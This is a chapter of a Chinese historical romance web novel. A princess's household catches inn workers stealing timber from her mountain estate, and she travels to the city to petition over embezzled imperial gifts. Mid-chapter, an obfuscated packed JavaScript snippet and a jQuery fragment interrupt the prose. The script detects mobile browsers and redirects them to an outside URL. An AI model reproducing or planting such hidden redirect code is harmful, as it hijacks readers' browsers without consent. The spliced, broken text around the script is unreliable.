79.登闻鼓
作品:《梅园食方》 梅花坞山高林密,就是藏了什么山匪,光萧家这几人,老的老,病的病,也不一定知晓。
萧鸣笙一开始的担心,终于是应验了。
包子他们去城里打听的时候,有家铺子的伙计留心多问了一嘴,他们是哪里人,哪来的新木能置换。
听说他们是城郊梅花坞的乡民,那伙计眼珠子一转,同掌柜的一合计,祸根便种下了。
乡民能砍树,他们怎么就砍不得了?
袁志赶到的时候,他们已经砍倒了一大片,连锯子都断了好几把,正愁没有多带些进山来。
为首的管事还在抱怨这差事晦气,袁志当即是从树上跳下,一把就揪了人衣领。
他孤身一人就能深入大漠,区区山林,再带个蚁辈出来,不在话下。
“回去告诉你们主子,想好了,这事该怎么了结。便是不在意你们的性命,我看看是不是连脸面也不要了……”
那些人正干得热火朝天,哪里想到这变故?
那管事当即是软了腿脚求饶,“壮士壮士,要钱好说……我们在城里有铺子,只是上山来不曾带银子,这样,你放了我,要多少银子你开口。”
袁志也不开口,径直是撸了人回来。
“主子,人已经是抓回来了,剩下几个小喽啰,这会儿该是赶回城里报信了。”
萧鸣笙见了袁志被树枝刮过的衣衫,再看那人贼眉鼠眼的,更是气笑了。
萧家偏安一隅,任谁都能来偷她东西是吧?
茶叶被置换,如今连地盘上的林木都敢来偷了。
“我想,京城的铺子不至于不知道梅花坞的山林是谁的。我倒看看是哪位贵人,和萧家交情颇深,能不同我说一声就去砍伐林木……”
那管事倒有心求情,只是来回时,袁志嫌弃他呱噪,已经拿帕子将他嘴堵住了。
手反绑着,正好是绑到靶子那儿去。
包子眼尖,当即便叫起来,“我认得他,他是升来客栈跑堂的。诶……但是……”
“是啊,他好好一个开客栈的,偷砍林木做什么?难不成是要拿木头去煮汤吗?”
萧鸣笙讥笑道。
阿草也气得很,“郡主,看我一箭射死他。”
说罢就拿起一侧的弓箭。
那人被捂了嘴,惊恐呜呜叫着。
袁志眼疾手快拦了,“你光射死他也没用。他后头有人呢!”
“哼……什么人,我也不怕他,我们就是脾气太好了,所以才被人欺负。”
萧鸣笙也深以为然,原以为上次敲打了内侍省的福公公,事情该是平息了。
没想到天子脚下有的是权势滔天的人,也根本不怕她这个空壳郡主。
“袁志,备马。”
“郡主……若不然,等——”
如今天寒地冻,郡主实在不必在这节骨眼进城去。
“不等了。再等,来日我们冤死了,都无人知晓。”
萧鸣笙双手交握,冰凉没一丝温度。猎猎寒风,还在不断汲取为数不多的暖意。
这时代吃人,人也吃人!
*
萧鸣笙让卢妈妈回去将整理好的单子取来。
后者一脸讪讪,也想劝一劝,“郡主……”
“我知道,是历年来的赏赐数目不大对,嬷嬷看出来,怕我伤心,才一直没拿给我……”
“郡主……”
卢妈妈要跪下去,却被扶了起来,“连你都能看出不对来,也不知是叫人吃了多少。单子拿来,也取些碎银来。”
取来的碎银,是由包子发给了梅花坞的乡亲们。
也不用他们做什么,请包大娘和几个壮汉来萧家守着。
余下的村民,一道跟着进城去。
一听说是有贼,村民是义愤填膺,也不收钱,就要帮着把那人押送到府衙去。
一半的人留守着,一半跟着,没多少踪迹的官道,浩浩荡荡一群人向城里走去。
瞭望台的人早早回禀了异象,消息便四散而去。
崔明端在陵安府里,忙着查验大雪压塌多少房屋,如何赈灾。齐大人赶来时,气是喘不匀的,“崔大人……梅花坞……”
“郡主怎么了?”崔明端当即站起,折断了手中狼毫。
齐大人微微摇头,有口难言,“这事,说小也小……”
崔明端当即讥讽道:“我刚调来陵安府不久,不知衙署诸事什么是小,什么是大?请齐大人赐教。”
“崔世侄,眼下不是论理之时,要不……你且先去看看?如今是年下,各处正是忙碌时,事情或大或小,是否回禀陛下,请崔大人酌情思量。”
“臣受陛下隆恩,自当为陛下分忧。”
外头的马,也备好了,崔明端横眉以对,也顾不得什么,骑上便走,终是在城门处遇到了人。
城门校尉也不敢松懈,接过袁志递来的令牌,草草看了一眼马车,还没跪下,便得了这位西北汉子的冷眼,“郡主出行不欲张扬,请大人自重。”
萧家的马车没有任何标识,然而身后跟着二十来个村民。他也认得,就是梅花坞的山民,这是不欲张扬?
可怜他只是一个守城门的,本来就是个苦差事,万一再出个什么纰漏,脑袋不保都是寻常事。
“是是是……不知贵人是要去何处?小人给贵人带路。”
一阵急速靠近的马蹄声,拯救了他。
崔家的宝马,英姿飒爽。相较之下,萧家赶车的马儿,都显得平平无奇。
崔明端下马来,瞧袁志罕见黑着脸,也知出了要事。否则她不会进城来。
“臣……”
话未完,马车里传出阿草焦急的声,“郡主,你怎么了?”
这会儿,崔明端再顾不得礼法,掀了帘子进了车厢,但见往日言笑晏晏的人,惨白着面色,痛苦捂着胸口。
“袁志,拿我手令,入宫去请御医来。”
掷出去的,是天子登基时赐给崔明端自由出入宫禁的金牌。
阿草的力道总是控制不太好,已经被崔明端挤开了。
“今日可吃了什么东西?”
崔明端以为是中毒,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212409|128519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有人要害她,摸出随身佩着的荷包,手一抖,倒出好一把药丸来,“郡主……”
此时,萧鸣笙早过了气愤的劲,但心头闷重,“大人……”
抬眼之际,眼眸是含了泪的。
——糊涂了这么久,她终于知晓为何原身进城一次,病就会更加严重!
她晕车啊!
官道就是再平整,可马儿哒哒,很是颠簸。一个自幼精于骑射的奇女子,竟然晕马车!
她不知崔明端手里是什么药,迷迷糊糊吃了两颗后才问了一声,“大人怎么在这儿?”
崔明端将多余的药丸一股脑塞回衣袖里,抱着人,手还是抖的。“臣……受府尹大人的令,前来看看。郡主放心等御医来就是。”
中毒,也不便挪动。
他静静抱着人,来时想过无数场景,“郡主,臣今日便上个折子,择日……”
“崔大人——”
没等他将话说完,萧家的马车已经由袁志牵到了旁侧候着。
他握着那块金牌,也没离了主子进宫去。阿草也被他唤了出来,“大哥,崔大人不是说让你进宫去吗?”
“萧家不蓄奴,但我袁志的主子是郡主。”
这话,有些弯弯绕绕,阿草不大懂。
不过,眼前一片乱象,不懂也没机会问。
一群人乌泱泱过来,袁志认不出人来。
但城门校尉认得,只是谁也不好得罪,已经悄悄站开了。
来的人,是升来客栈的掌柜,以及众位伙计。
“崔大人,小人有眼无珠……”
刚一开口请罪,怀中的人便冷哼一声。
崔明端预备好的话没说全,又听着她的反应,并不开口,只是低声问道:“那些人去梅花坞生事了?”
萧鸣笙有晕症,原本就难受,可他身上有股橘子味,“倒也不是生事,只是偷了我的东西。”
这下,轻嗤一声的,便是端方君子崔大人了。
“陛下将梅花坞赐予郡主养病,既是刁奴偷盗,陵安府来管。”
“或许,臣女之罪,大于小小贼子。”
萧鸣笙也不瞒他,将袖口的几份单子递过去,“我历年来的赏赐单子,一份是内侍省送来的,一份是我那嬷嬷整理的。其中,有许多看不明白的地方,硕鼠硕鼠,我家竟也出了个大老鼠,将陛下万千恩裳啃食殆尽。”
崔明端眸光波动,但见怀中人挣扎着要躲开,“我也知,这些,不归你们陵安府管。臣女去敲登闻鼓就是了。”
历朝来,设立登闻鼓院,为了给含冤受屈的百姓一个申诉的地方。
她乃陛下御封的郡主,若是敲了这登闻鼓,怕是朝野震动。
“唉……”
崔明端将手臂圈紧了——也是前几日抱绪安得来的经验,一时药香气更盛。
“郡主便是要去敲那鼓……”
萧鸣笙原也不是急躁的性子,可对上凡事成竹在胸的崔大人,她都想催一催崔大人,“莫不是今日不是伸冤的黄道吉日?臣女回去再算算,下一回再进城来?”

